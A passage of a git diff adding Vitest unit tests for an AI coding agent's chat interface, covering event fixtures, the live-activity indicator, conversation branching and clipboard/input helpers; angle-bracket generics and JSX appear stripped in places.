+ ActionEvent,
+ ObservationEvent,
+ SecurityRisk,
+} from "#/types/agent-server/core";
+import {
+ ExecuteBashAction,
+ FileEditorAction,
+ GrepAction,
+ TaskAction,
+} from "#/types/agent-server/core/base/action";
+import {
+ ExecuteBashObservation,
+ FileEditorObservation,
+ GrepObservation,
+ GlobObservation,
+ TerminalObservation,
+ TaskObservation,
+} from "#/types/agent-server/core/base/observation";
+
+/** Renders a visualizer body with the standard chat providers. */
+export const renderVisualizer = (ui: React.ReactElement) =>
+ renderWithProviders(ui);
+
+const actionEnvelope = (id: string, toolName: string) => ({
+ id,
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "agent" as const,
+ thought: [],
+ thinking_blocks: [],
+ tool_name: toolName,
+ tool_call_id: `call_${id}`,
+ tool_call: {
+ id: `call_${id}`,
+ type: "function" as const,
+ function: { name: toolName, arguments: "{}" },
+ },
+ llm_response_id: `resp_${id}`,
+ security_risk: SecurityRisk.LOW,
+});
+
+const observationEnvelope = (id: string, toolName: string) => ({
+ id,
+ timestamp: "2024-01-01T00:00:00Z",
+ source: "environment" as const,
+ tool_name: toolName,
+ tool_call_id: `call_${id}`,
+ action_id: `action_${id}`,
+});
+
+export const bashAction = (
+ command: string,
+ risk: SecurityRisk = SecurityRisk.LOW,
+): ActionEvent => ({
+ ...actionEnvelope("bash", "execute_bash"),
+ security_risk: risk,
+ action: {
+ kind: "ExecuteBashAction",
+ command,
+ is_input: false,
+ timeout: null,
+ reset: false,
+ },
+});
+
+export const bashObservation = (
+ output: string,
+ exitCode: number | null,
+ command = "echo hi",
+): ObservationEvent => ({
+ ...observationEnvelope("bash", "execute_bash"),
+ observation: {
+ kind: "ExecuteBashObservation",
+ content: [{ type: "text", text: output }],
+ command,
+ exit_code: exitCode,
+ error: exitCode !== 0,
+ timeout: false,
+ metadata: {
+ exit_code: exitCode ?? 0,
+ pid: 1,
+ username: "openhands",
+ hostname: "runtime",
+ prefix: "",
+ suffix: "",
+ working_dir: "/workspace",
+ py_interpreter_path: null,
+ },
+ },
+});
+
+export const terminalObservation = (
+ output: string,
+ exitCode: number | null,
+ command = "ls",
+): ObservationEvent => ({
+ ...observationEnvelope("terminal", "terminal"),
+ observation: {
+ kind: "TerminalObservation",
+ content: [{ type: "text", text: output }],
+ command,
+ exit_code: exitCode,
+ is_error: exitCode !== 0,
+ timeout: false,
+ metadata: {
+ exit_code: exitCode ?? 0,
+ pid: 1,
+ username: "openhands",
+ hostname: "runtime",
+ prefix: "",
+ suffix: "",
+ working_dir: "/workspace",
+ py_interpreter_path: null,
+ },
+ },
+});
+
+export const fileEditorAction = (
+ action: Partial &
+ Pick,
+): ActionEvent => ({
+ ...actionEnvelope("fe", "file_editor"),
+ action: {
+ kind: "FileEditorAction",
+ file_text: null,
+ old_str: null,
+ new_str: null,
+ insert_line: null,
+ view_range: null,
+ ...action,
+ },
+});
+
+export const fileEditorObservation = (
+ observation: Partial &
+ Pick,
+): ObservationEvent => ({
+ ...observationEnvelope("fe", "file_editor"),
+ observation: {
+ kind: "FileEditorObservation",
+ output: "",
+ path: "/workspace/app.ts",
+ prev_exist: true,
+ old_content: null,
+ new_content: null,
+ error: null,
+ ...observation,
+ },
+});
+
+export const grepAction = (
+ action: Partial & Pick,
+): ActionEvent => ({
+ ...actionEnvelope("grep", "grep"),
+ action: { kind: "GrepAction", path: null, include: null, ...action },
+});
+
+export const grepObservation = (
+ observation: Partial & Pick,
+): ObservationEvent => ({
+ ...observationEnvelope("grep", "grep"),
+ observation: {
+ kind: "GrepObservation",
+ content: [],
+ is_error: false,
+ matches: [],
+ search_path: "/workspace",
+ include_pattern: null,
+ truncated: false,
+ ...observation,
+ },
+});
+
+export const globObservation = (
+ observation: Partial & Pick,
+): ObservationEvent => ({
+ ...observationEnvelope("glob", "glob"),
+ observation: {
+ kind: "GlobObservation",
+ content: [],
+ is_error: false,
+ files: [],
+ search_path: "/workspace",
+ truncated: false,
+ ...observation,
+ },
+});
+
+export const taskAction = (
+ action: Partial & Pick,
+): ActionEvent => ({
+ ...actionEnvelope("task", "task"),
+ action: {
+ kind: "TaskAction",
+ subagent_type: "code-explorer",
+ description: null,
+ resume: null,
+ ...action,
+ },
+});
+
+export const taskObservation = (
+ observation: Partial = {},
+): ObservationEvent => ({
+ ...observationEnvelope("task", "task"),
+ observation: {
+ kind: "TaskObservation",
+ content: [{ type: "text", text: "## Summary\n\nAll done." }],
+ is_error: false,
+ task_id: "task_00000001",
+ subagent: "code-explorer",
+ status: "completed",
+ ...observation,
+ },
+});
diff --git a/__tests__/components/features/chat/typing-indicator.test.ts b/__tests__/components/features/chat/typing-indicator.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..2426b62e79a20c86196333b9c46d6e95f78354d3
--- /dev/null
+++ b/__tests__/components/features/chat/typing-indicator.test.ts
@@ -0,0 +1,294 @@
+import { describe, expect, it } from "vitest";
+import { deriveLiveActivity } from "#/components/features/chat/typing-indicator";
+import {
+ SecurityRisk,
+ type ActionEvent,
+ type ObservationEvent,
+ type UserRejectObservation,
+} from "#/types/agent-server/core";
+import type { Action } from "#/types/agent-server/core/base/action";
+import type { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event";
+import type { OHEvent } from "#/stores/use-event-store";
+
+const makeActionEvent = (
+ id: string,
+ action: Action,
+ summary?: string,
+): ActionEvent => ({
+ id,
+ timestamp: `2026-07-27T18:00:${id.padStart(2, "0")}Z`,
+ source: "agent",
+ thought: [],
+ thinking_blocks: [],
+ action,
+ tool_name: action.kind,
+ tool_call_id: `tool-${id}`,
+ tool_call: {
+ id: `tool-${id}`,
+ type: "function",
+ function: {
+ name: action.kind,
+ arguments: "{}",
+ },
+ },
+ llm_response_id: `response-${id}`,
+ security_risk: SecurityRisk.LOW,
+ summary,
+});
+
+const makeObservationEvent = (
+ id: string,
+ action: ActionEvent,
+): ObservationEvent => ({
+ id,
+ timestamp: `2026-07-27T18:01:${id.padStart(2, "0")}Z`,
+ source: "environment",
+ tool_name: action.tool_name,
+ tool_call_id: action.tool_call_id,
+ action_id: action.id,
+ observation: {
+ kind: "TerminalObservation",
+ content: [],
+ command: "git status",
+ exit_code: 0,
+ is_error: false,
+ timeout: false,
+ metadata: {
+ exit_code: 0,
+ pid: 1,
+ username: "openhands",
+ hostname: "runtime",
+ prefix: "",
+ suffix: "",
+ working_dir: "/workspace/project",
+ py_interpreter_path: null,
+ },
+ },
+});
+
+const makeUserRejectObservation = (
+ id: string,
+ action: ActionEvent,
+): UserRejectObservation => ({
+ id,
+ timestamp: `2026-07-27T18:01:${id.padStart(2, "0")}Z`,
+ source: "environment",
+ tool_name: action.tool_name,
+ tool_call_id: action.tool_call_id,
+ action_id: action.id,
+ rejection_reason: "Rejected by user",
+});
+
+const makeACPEvent = (
+ id: string,
+ status: ACPToolCallEvent["status"],
+): ACPToolCallEvent => ({
+ id: `${id}-${status ?? "legacy"}`,
+ timestamp: "2026-07-27T18:02:00Z",
+ kind: "ACPToolCallEvent",
+ source: "agent",
+ tool_call_id: id,
+ title: "Read README.md",
+ status,
+ tool_kind: "read",
+ raw_input: null,
+ raw_output: null,
+ content: null,
+ is_error: status === "failed",
+});
+
+describe("deriveLiveActivity", () => {
+ it.each([
+ {
+ name: "terminal command",
+ action: {
+ kind: "TerminalAction",
+ command: "git status",
+ is_input: false,
+ timeout: null,
+ reset: false,
+ } satisfies Action,
+ expected: {
+ kind: "translation",
+ key: "ACTION_MESSAGE$RUN",
+ values: { command: "git status" },
+ },
+ },
+ {
+ name: "file read",
+ action: {
+ kind: "FileEditorAction",
+ command: "view",
+ path: "README.md",
+ file_text: null,
+ old_str: null,
+ new_str: null,
+ insert_line: null,
+ view_range: null,
+ } satisfies Action,
+ expected: {
+ kind: "translation",
+ key: "ACTION_MESSAGE$READ",
+ values: { path: "README.md" },
+ },
+ },
+ {
+ name: "code search",
+ action: {
+ kind: "GrepAction",
+ pattern: "VITE_",
+ path: null,
+ include: null,
+ } satisfies Action,
+ expected: {
+ kind: "translation",
+ key: "ACTION_MESSAGE$GREP",
+ values: { pattern: "VITE_" },
+ },
+ },
+ ])("describes an unresolved $name", ({ action, expected }) => {
+ const event = makeActionEvent("1", action);
+
+ expect(deriveLiveActivity([event])).toEqual(expected);
+ });
+
+ it("moves to the next unresolved regular action as observations arrive", () => {
+ const first = makeActionEvent("1", {
+ kind: "TerminalAction",
+ command: "npm test",
+ is_input: false,
+ timeout: null,
+ reset: false,
+ });
+ const second = makeActionEvent("2", {
+ kind: "FileEditorAction",
+ command: "view",
+ path: "README.md",
+ file_text: null,
+ old_str: null,
+ new_str: null,
+ insert_line: null,
+ view_range: null,
+ });
+ const secondObservation = makeObservationEvent("3", second);
+ const firstObservation = makeObservationEvent("4", first);
+
+ expect(deriveLiveActivity([first, second, secondObservation])).toEqual({
+ kind: "translation",
+ key: "ACTION_MESSAGE$RUN",
+ values: { command: "npm test" },
+ });
+ expect(
+ deriveLiveActivity([first, second, secondObservation, firstObservation]),
+ ).toEqual({
+ kind: "translation",
+ key: "ACTION_MESSAGE$THINK",
+ values: {},
+ });
+ });
+
+ it("treats a rejected regular action as resolved", () => {
+ const rejected = makeActionEvent("1", {
+ kind: "TerminalAction",
+ command: "rm -rf build",
+ is_input: false,
+ timeout: null,
+ reset: false,
+ });
+
+ expect(
+ deriveLiveActivity([rejected, makeUserRejectObservation("2", rejected)]),
+ ).toEqual({
+ kind: "translation",
+ key: "ACTION_MESSAGE$THINK",
+ values: {},
+ });
+ });
+
+ it("shows the next unresolved action after a newer action is rejected", () => {
+ const remaining = makeActionEvent("1", {
+ kind: "TerminalAction",
+ command: "git status",
+ is_input: false,
+ timeout: null,
+ reset: false,
+ });
+ const rejected = makeActionEvent("2", {
+ kind: "TerminalAction",
+ command: "npm publish",
+ is_input: false,
+ timeout: null,
+ reset: false,
+ });
+
+ expect(
+ deriveLiveActivity([
+ remaining,
+ rejected,
+ makeUserRejectObservation("3", rejected),
+ ]),
+ ).toEqual({
+ kind: "translation",
+ key: "ACTION_MESSAGE$RUN",
+ values: { command: "git status" },
+ });
+ });
+
+ it.each([
+ "completed",
+ "failed",
+ null,
+ ] satisfies readonly ACPToolCallEvent["status"][])(
+ "drops an ACP label when the same call becomes %s",
+ (terminalStatus) => {
+ const started = makeACPEvent("acp-read", "in_progress");
+
+ expect(deriveLiveActivity([started])).toEqual({
+ kind: "translation",
+ key: "ACTION_MESSAGE$ACP_READ",
+ values: { title: "README.md" },
+ });
+ expect(
+ deriveLiveActivity([started, makeACPEvent("acp-read", terminalStatus)]),
+ ).toEqual({
+ kind: "translation",
+ key: "ACTION_MESSAGE$THINK",
+ values: {},
+ });
+ },
+ );
+
+ it("falls back to Thinking for unsupported and planning-only actions", () => {
+ const unsupported = makeActionEvent("1", {
+ kind: "SwitchLLMAction",
+ profile_name: "fast",
+ reason: "Short task",
+ });
+ const planningOnly = {
+ ...makeActionEvent("2", {
+ kind: "TerminalAction",
+ command: "git status",
+ is_input: false,
+ timeout: null,
+ reset: false,
+ }),
+ isFromPlanningAgent: true,
+ } satisfies OHEvent;
+
+ expect(deriveLiveActivity([unsupported])).toEqual({
+ kind: "translation",
+ key: "ACTION_MESSAGE$THINK",
+ values: {},
+ });
+ expect(deriveLiveActivity([planningOnly])).toEqual({
+ kind: "translation",
+ key: "ACTION_MESSAGE$THINK",
+ values: {},
+ });
+ expect(deriveLiveActivity([])).toEqual({
+ kind: "translation",
+ key: "ACTION_MESSAGE$THINK",
+ values: {},
+ });
+ });
+});
diff --git a/__tests__/components/features/chat/user-assistant-event-message.test.tsx b/__tests__/components/features/chat/user-assistant-event-message.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..06412cda07ca5b59d8bfef58bfced9ebf4c47326
--- /dev/null
+++ b/__tests__/components/features/chat/user-assistant-event-message.test.tsx
@@ -0,0 +1,269 @@
+import { fireEvent, screen, waitFor } from "@testing-library/react";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { renderWithProviders } from "test-utils";
+import type { MessageEvent } from "#/types/agent-server/core";
+import { I18nKey } from "#/i18n/declaration";
+import { UserAssistantEventMessage } from "#/components/conversation-events/chat/event-message-components/user-assistant-event-message";
+import { useConversationStore } from "#/stores/conversation-store";
+import ConversationService from "#/api/conversation-service/conversation-service.api";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import type { DirectConversationInfo } from "#/api/agent-server-adapter";
+
+const {
+ useActiveBackendMock,
+ useOptionalConversationIdMock,
+ setMessageToSendMock,
+ navigateMock,
+} = vi.hoisted(() => ({
+ useActiveBackendMock: vi.fn(),
+ useOptionalConversationIdMock: vi.fn(),
+ setMessageToSendMock: vi.fn(),
+ navigateMock: vi.fn(),
+}));
+
+// These provide test context (backend kind, conversation id, navigation); the
+// fork behaviour is exercised through the real hook against a mocked service
+// (per the repo convention: mock the service, not the hook).
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useOptionalConversationId: () => useOptionalConversationIdMock(),
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+ useActiveBackend: () => useActiveBackendMock(),
+}));
+
+vi.mock("#/context/navigation-context", async (importActual) => ({
+ ...(await importActual()),
+ useNavigation: () => ({ navigate: navigateMock }),
+}));
+
+// test-utils re-inits i18n with empty resources, so `t()` returns the key —
+// which becomes the button's accessible name (aria-label).
+const BRANCH_LABEL = I18nKey.CHAT_INTERFACE$BRANCH_FROM_HERE;
+const forkResult = { id: "fork-123" } as DirectConversationInfo;
+
+let forkSpy: ReturnType;
+let parentSpy: ReturnType;
+
+const makeEvent = (source: "user" | "agent", id: string): MessageEvent =>
+ ({
+ id,
+ source,
+ timestamp: "2024-01-01T00:00:00.000Z",
+ llm_message: {
+ role: source === "user" ? "user" : "assistant",
+ content: [{ type: "text", text: "Hello world" }],
+ },
+ critic_result: null,
+ }) as unknown as MessageEvent;
+
+// A user message with only an image (no text) — parses to an empty string.
+const makeImageOnlyEvent = (id: string): MessageEvent =>
+ ({
+ id,
+ source: "user",
+ timestamp: "2024-01-01T00:00:00.000Z",
+ llm_message: {
+ role: "user",
+ content: [{ type: "image", image_urls: ["data:image/png;base64,AAAA"] }],
+ },
+ critic_result: null,
+ }) as unknown as MessageEvent;
+
+const renderMessage = (event: MessageEvent) =>
+ renderWithProviders(
+ ,
+ );
+
+describe("UserAssistantEventMessage — branch action", () => {
+ beforeEach(() => {
+ vi.restoreAllMocks();
+ useActiveBackendMock.mockReset();
+ useOptionalConversationIdMock.mockReset();
+ setMessageToSendMock.mockReset();
+ navigateMock.mockReset();
+
+ useActiveBackendMock.mockReturnValue({
+ backend: { kind: "local" },
+ orgId: null,
+ });
+ useOptionalConversationIdMock.mockReturnValue({ conversationId: "conv-1" });
+
+ useConversationStore.setState({ setMessageToSend: setMessageToSendMock });
+ ConversationService.setCurrentConversation(null);
+
+ forkSpy = vi
+ .spyOn(AgentServerConversationService, "forkConversation")
+ // Modern backend (>= 1.31.0): the fork's HEAD (leaf_event_id) is exactly
+ // the requested branch point, confirming the message was excluded.
+ .mockImplementation((_source, fromEventId) =>
+ Promise.resolve({
+ ...forkResult,
+ leaf_event_id: fromEventId,
+ } as unknown as DirectConversationInfo),
+ );
+ // Default: the message has a parent (the common case), so edit-mode
+ // branches before it.
+ parentSpy = vi
+ .spyOn(AgentServerConversationService, "getEventParentId")
+ .mockResolvedValue("evt-parent");
+ });
+
+ it("branches an assistant message inclusively, without a parent lookup or prefill", async () => {
+ renderMessage(makeEvent("agent", "evt-agent"));
+
+ // Actions only appear on hover.
+ fireEvent.mouseEnter(screen.getByTestId("agent-message"));
+ fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL }));
+
+ await waitFor(() =>
+ expect(navigateMock).toHaveBeenCalledWith("/conversations/fork-123"),
+ );
+ expect(parentSpy).not.toHaveBeenCalled();
+ expect(forkSpy).toHaveBeenCalledWith("conv-1", "evt-agent", undefined);
+ expect(setMessageToSendMock).not.toHaveBeenCalled();
+ });
+
+ it("edits a user message: branches at its parent and loads its text into the composer", async () => {
+ renderMessage(makeEvent("user", "evt-user"));
+
+ fireEvent.mouseEnter(screen.getByTestId("user-message"));
+ fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL }));
+
+ await waitFor(() =>
+ expect(forkSpy).toHaveBeenCalledWith("conv-1", "evt-parent", undefined),
+ );
+ expect(parentSpy).toHaveBeenCalledWith("conv-1", "evt-user");
+ expect(navigateMock).toHaveBeenCalledWith("/conversations/fork-123");
+ await waitFor(() =>
+ expect(setMessageToSendMock).toHaveBeenCalledWith(
+ expect.stringContaining("Hello world"),
+ ),
+ );
+ });
+
+ it("does not prefill the composer when the message has no parent (inclusive fallback)", async () => {
+ parentSpy.mockResolvedValue(undefined);
+ renderMessage(makeEvent("user", "evt-user"));
+
+ fireEvent.mouseEnter(screen.getByTestId("user-message"));
+ fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL }));
+
+ await waitFor(() =>
+ expect(forkSpy).toHaveBeenCalledWith("conv-1", "evt-user", undefined),
+ );
+ expect(setMessageToSendMock).not.toHaveBeenCalled();
+ });
+
+ it("titles the fork distinctly from its source conversation", async () => {
+ ConversationService.setCurrentConversation({
+ id: "conv-1",
+ title: "Trip planning",
+ } as AppConversation);
+ renderMessage(makeEvent("user", "evt-user"));
+
+ fireEvent.mouseEnter(screen.getByTestId("user-message"));
+ fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL }));
+
+ await waitFor(() =>
+ expect(forkSpy).toHaveBeenCalledWith(
+ "conv-1",
+ "evt-parent",
+ "Trip planning (branch)",
+ ),
+ );
+ });
+
+ it("does not prefill when the backend ignored from_event_id (older agent-server)", async () => {
+ // leaf_event_id != requested branch point => the message was NOT excluded
+ // (the fork copied the whole conversation), so prefilling would duplicate.
+ forkSpy.mockImplementation(() =>
+ Promise.resolve({
+ ...forkResult,
+ leaf_event_id: "some-other-leaf",
+ } as unknown as DirectConversationInfo),
+ );
+ renderMessage(makeEvent("user", "evt-user"));
+
+ fireEvent.mouseEnter(screen.getByTestId("user-message"));
+ fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL }));
+
+ await waitFor(() =>
+ expect(navigateMock).toHaveBeenCalledWith("/conversations/fork-123"),
+ );
+ expect(setMessageToSendMock).not.toHaveBeenCalled();
+ });
+
+ it("branches an image-only user message inclusively (keeps the image, no prefill)", async () => {
+ renderMessage(makeImageOnlyEvent("evt-img"));
+
+ fireEvent.mouseEnter(screen.getByTestId("user-message"));
+ fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL }));
+
+ // No text to edit → branch at the message (inclusive), no parent lookup,
+ // no prefill, so the image is not dropped.
+ await waitFor(() =>
+ expect(forkSpy).toHaveBeenCalledWith("conv-1", "evt-img", undefined),
+ );
+ expect(parentSpy).not.toHaveBeenCalled();
+ expect(setMessageToSendMock).not.toHaveBeenCalled();
+ });
+
+ it("omits the fork title when the tracked conversation is a different one", async () => {
+ // Stale/other conversation in the shared singleton — must not be used.
+ ConversationService.setCurrentConversation({
+ id: "other-conv",
+ title: "Stale title",
+ } as AppConversation);
+ renderMessage(makeEvent("user", "evt-user"));
+
+ fireEvent.mouseEnter(screen.getByTestId("user-message"));
+ fireEvent.click(screen.getByRole("button", { name: BRANCH_LABEL }));
+
+ await waitFor(() =>
+ expect(forkSpy).toHaveBeenCalledWith("conv-1", "evt-parent", undefined),
+ );
+ });
+
+ it("ignores a second click while a fork is already in flight", async () => {
+ renderMessage(makeEvent("user", "evt-user"));
+
+ fireEvent.mouseEnter(screen.getByTestId("user-message"));
+ const button = screen.getByRole("button", { name: BRANCH_LABEL });
+ fireEvent.click(button);
+ fireEvent.click(button);
+
+ await waitFor(() => expect(forkSpy).toHaveBeenCalled());
+ expect(forkSpy).toHaveBeenCalledTimes(1);
+ });
+
+ it("hides the branch action on the cloud backend", () => {
+ useActiveBackendMock.mockReturnValue({
+ backend: { kind: "cloud" },
+ orgId: null,
+ });
+
+ renderMessage(makeEvent("user", "evt-user"));
+
+ fireEvent.mouseEnter(screen.getByTestId("user-message"));
+ expect(
+ screen.queryByRole("button", { name: BRANCH_LABEL }),
+ ).not.toBeInTheDocument();
+ });
+
+ it("hides the branch action outside of a conversation", () => {
+ useOptionalConversationIdMock.mockReturnValue({ conversationId: undefined });
+
+ renderMessage(makeEvent("agent", "evt-agent"));
+
+ fireEvent.mouseEnter(screen.getByTestId("agent-message"));
+ expect(
+ screen.queryByRole("button", { name: BRANCH_LABEL }),
+ ).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/chat/utils/chat-input.utils.test.ts b/__tests__/components/features/chat/utils/chat-input.utils.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..2eb7e903b2636a0369bd82dd5760be3da9eef164
--- /dev/null
+++ b/__tests__/components/features/chat/utils/chat-input.utils.test.ts
@@ -0,0 +1,347 @@
+import { afterEach, describe, expect, it, vi } from "vitest";
+import {
+ clearEmptyContent,
+ clearFileInput,
+ clearTextContent,
+ ensureCursorVisible,
+ focusContentEditableAtEnd,
+ getClipboardFiles,
+ getTextContent,
+ isContentEmpty,
+ isPastedClipboardImage,
+ normalizePastedFile,
+ partitionImagesForUpload,
+} from "#/components/features/chat/utils/chat-input.utils";
+
+afterEach(() => {
+ vi.restoreAllMocks();
+});
+
+function createFileList(files: File[]): FileList {
+ const list = {
+ length: files.length,
+ item: (index: number) => files[index] ?? null,
+ } as FileList & Record;
+ for (let i = 0; i < files.length; i += 1) {
+ list[i] = files[i];
+ }
+ return list;
+}
+
+function createMockDataTransfer({
+ files = [],
+ items = [],
+}: {
+ files?: File[];
+ items?: Array<{ kind: string; type: string; file: File | null }>;
+}): DataTransfer {
+ const fileItems = items.map((entry) => ({
+ kind: entry.kind,
+ type: entry.type,
+ getAsFile: () => entry.file,
+ }));
+
+ return {
+ files: createFileList(files),
+ items: fileItems as unknown as DataTransferItemList,
+ getData: () => "",
+ } as unknown as DataTransfer;
+}
+
+describe("normalizePastedFile", () => {
+ it("returns the file unchanged when it already has a name", () => {
+ const file = new File(["x"], "photo.png", { type: "image/png" });
+ expect(normalizePastedFile(file)).toBe(file);
+ });
+
+ it("assigns a generated name for unnamed clipboard images", () => {
+ const file = new File(["x"], "", { type: "image/png" });
+ const normalized = normalizePastedFile(file);
+ expect(normalized.name).toMatch(/^pasted-image-\d+\.png$/);
+ expect(normalized.type).toBe("image/png");
+ expect(normalized.size).toBe(file.size);
+ });
+
+ it.each([
+ ["image/jpeg", "jpg"],
+ ["image/jpg", "jpg"],
+ ["image/gif", "gif"],
+ ["image/webp", "webp"],
+ ["image/bmp", "bmp"],
+ ["image/avif", "png"],
+ ["application/octet-stream", "bin"],
+ ])("uses the stable extension for %s", (type, extension) => {
+ vi.spyOn(Date, "now").mockReturnValue(1234);
+ const normalized = normalizePastedFile(
+ new File(["x"], " ", { type, lastModified: 99 }),
+ );
+
+ expect(normalized.name).toBe(`pasted-image-1234.${extension}`);
+ expect(normalized.lastModified).toBe(99);
+ });
+});
+
+describe("isPastedClipboardImage", () => {
+ it("returns true for normalized clipboard screenshot names", () => {
+ const file = new File(["x"], "pasted-image-1710000000000.png", {
+ type: "image/png",
+ });
+ expect(isPastedClipboardImage(file)).toBe(true);
+ });
+
+ it("returns false for images picked from the file dialog", () => {
+ const file = new File(["x"], "photo.png", { type: "image/png" });
+ expect(isPastedClipboardImage(file)).toBe(false);
+ });
+
+ it("matches normalized names case-insensitively", () => {
+ expect(
+ isPastedClipboardImage(
+ new File(["x"], "PASTED-IMAGE-1710000000000.WEBP"),
+ ),
+ ).toBe(true);
+ });
+});
+
+describe("partitionImagesForUpload", () => {
+ it("splits marked images into the file-upload bucket", () => {
+ const embed = new File(["a"], "embed.png", { type: "image/png" });
+ const upload = new File(["b"], "upload.png", { type: "image/png" });
+
+ const result = partitionImagesForUpload([embed, upload], ["upload.png"]);
+
+ expect(result.imagesToEmbed).toEqual([embed]);
+ expect(result.imagesAsFiles).toEqual([upload]);
+ });
+
+ it("handles empty input and duplicate mark names", () => {
+ expect(partitionImagesForUpload([], ["missing.png"])).toEqual({
+ imagesToEmbed: [],
+ imagesAsFiles: [],
+ });
+ const image = new File(["a"], "same.png", { type: "image/png" });
+ expect(partitionImagesForUpload([image], ["same.png", "same.png"])).toEqual(
+ {
+ imagesToEmbed: [],
+ imagesAsFiles: [image],
+ },
+ );
+ });
+});
+
+describe("getClipboardFiles", () => {
+ it("reads from clipboardData.files when present", () => {
+ const file = new File(["x"], "doc.txt", { type: "text/plain" });
+ const clipboard = createMockDataTransfer({ files: [file] });
+
+ expect(getClipboardFiles(clipboard)).toEqual([file]);
+ });
+
+ it("normalizes unnamed files from clipboardData.files", () => {
+ const file = new File(["x"], "", { type: "application/pdf" });
+ const clipboard = createMockDataTransfer({ files: [file] });
+
+ expect(getClipboardFiles(clipboard)[0].name).toMatch(
+ /^pasted-image-\d+\.bin$/,
+ );
+ });
+
+ it("falls back to clipboard items for screenshot-style image paste", () => {
+ const image = new File(["pixels"], "", { type: "image/png" });
+ const clipboard = createMockDataTransfer({
+ items: [{ kind: "file", type: "image/png", file: image }],
+ });
+
+ const result = getClipboardFiles(clipboard);
+ expect(result).toHaveLength(1);
+ expect(result[0].type).toBe("image/png");
+ expect(result[0].name).toMatch(/^pasted-image-\d+\.png$/);
+ });
+
+ it("ignores non-file clipboard items", () => {
+ const clipboard = createMockDataTransfer({
+ items: [
+ {
+ kind: "string",
+ type: "text/plain",
+ file: new File(["not a clipboard file"], "ignored.txt"),
+ },
+ ],
+ });
+
+ expect(getClipboardFiles(clipboard)).toEqual([]);
+ });
+
+ it("ignores file items that do not expose a File", () => {
+ const clipboard = createMockDataTransfer({
+ items: [{ kind: "file", type: "image/png", file: null }],
+ });
+
+ expect(getClipboardFiles(clipboard)).toEqual([]);
+ });
+});
+
+describe("module-initialized clipboard contracts", () => {
+ it("preserves file extensions, normalized names, and editable text", async () => {
+ vi.resetModules();
+ const fresh =
+ await import("#/components/features/chat/utils/chat-input.utils");
+ vi.spyOn(Date, "now").mockReturnValue(1234);
+
+ for (const [type, extension] of [
+ ["image/png", "png"],
+ ["image/jpeg", "jpg"],
+ ["image/jpg", "jpg"],
+ ["image/gif", "gif"],
+ ["image/webp", "webp"],
+ ["image/bmp", "bmp"],
+ ]) {
+ expect(
+ fresh.normalizePastedFile(new File(["x"], "", { type })).name,
+ ).toBe(`pasted-image-1234.${extension}`);
+ }
+
+ const named = (name: string) =>
+ fresh.isPastedClipboardImage(new File(["x"], name));
+ expect(named("pasted-image-1710000000000.png")).toBe(true);
+ expect(named("prefix-pasted-image-1710000000000.png")).toBe(false);
+ expect(named("pasted-image-1710000000000.png.extra")).toBe(false);
+
+ const editable = document.createElement("div");
+ editable.innerText = "message";
+ expect(fresh.getTextContent(editable)).toBe("message");
+ });
+});
+
+describe("content-editable helpers", () => {
+ it("detects empty elements across null, innerText, and textContent", () => {
+ expect(isContentEmpty(null)).toBe(true);
+
+ const element = document.createElement("div");
+ element.innerText = "visible";
+ element.textContent = "fallback";
+ expect(isContentEmpty(element)).toBe(false);
+
+ element.innerText = "";
+ element.textContent = " fallback ";
+ expect(isContentEmpty(element)).toBe(false);
+
+ element.textContent = " \n ";
+ expect(isContentEmpty(element)).toBe(true);
+
+ element.innerText = "";
+ element.textContent = "";
+ expect(isContentEmpty(element)).toBe(true);
+ });
+
+ it("clears only empty editable content", () => {
+ clearEmptyContent(null);
+ const nonempty = document.createElement("div");
+ nonempty.innerText = "keep";
+ nonempty.innerHTML = "keep ";
+ clearEmptyContent(nonempty);
+ expect(nonempty.innerHTML).toBe("keep ");
+
+ const empty = document.createElement("div");
+ empty.innerText = " ";
+ empty.innerHTML = " ";
+ clearEmptyContent(empty);
+ expect(empty.innerHTML).toBe("");
+ expect(empty.textContent).toBe("");
+ });
+
+ it("gets and clears editable text and file inputs safely", () => {
+ expect(getTextContent(null)).toBe("");
+ const editable = document.createElement("div");
+ editable.innerText = "message";
+ expect(getTextContent(editable)).toBe("message");
+ editable.textContent = "message";
+ clearTextContent(editable);
+ expect(editable.textContent).toBe("");
+ clearTextContent(null);
+
+ const input = document.createElement("input");
+ input.value = "C:\\fakepath\\file.txt";
+ clearFileInput(input);
+ expect(input.value).toBe("");
+ clearFileInput(null);
+ });
+
+ it("scrolls only when the cursor falls below the visible input", () => {
+ const element = document.createElement("div");
+ Object.defineProperties(element, {
+ scrollHeight: { configurable: true, value: 200 },
+ clientHeight: { configurable: true, value: 80 },
+ });
+ vi.spyOn(element, "getBoundingClientRect").mockReturnValue({
+ bottom: 100,
+ } as DOMRect);
+ const range = {
+ getBoundingClientRect: vi.fn(() => ({ bottom: 120 }) as DOMRect),
+ } as unknown as Range;
+ vi.spyOn(window, "getSelection").mockReturnValue({
+ rangeCount: 1,
+ getRangeAt: () => range,
+ } as unknown as Selection);
+
+ ensureCursorVisible(element);
+ expect(element.scrollTop).toBe(120);
+
+ range.getBoundingClientRect = vi.fn(() => ({ bottom: 90 }) as DOMRect);
+ element.scrollTop = 0;
+ ensureCursorVisible(element);
+ expect(element.scrollTop).toBe(0);
+
+ range.getBoundingClientRect = vi.fn(() => ({ bottom: 100 }) as DOMRect);
+ ensureCursorVisible(element);
+ expect(element.scrollTop).toBe(0);
+ });
+
+ it("returns safely when cursor geometry is unavailable", () => {
+ const element = document.createElement("div");
+ const selectionSpy = vi.spyOn(window, "getSelection");
+ selectionSpy.mockReturnValue(null);
+ ensureCursorVisible(element);
+
+ selectionSpy.mockReturnValue({ rangeCount: 0 } as Selection);
+ ensureCursorVisible(element);
+
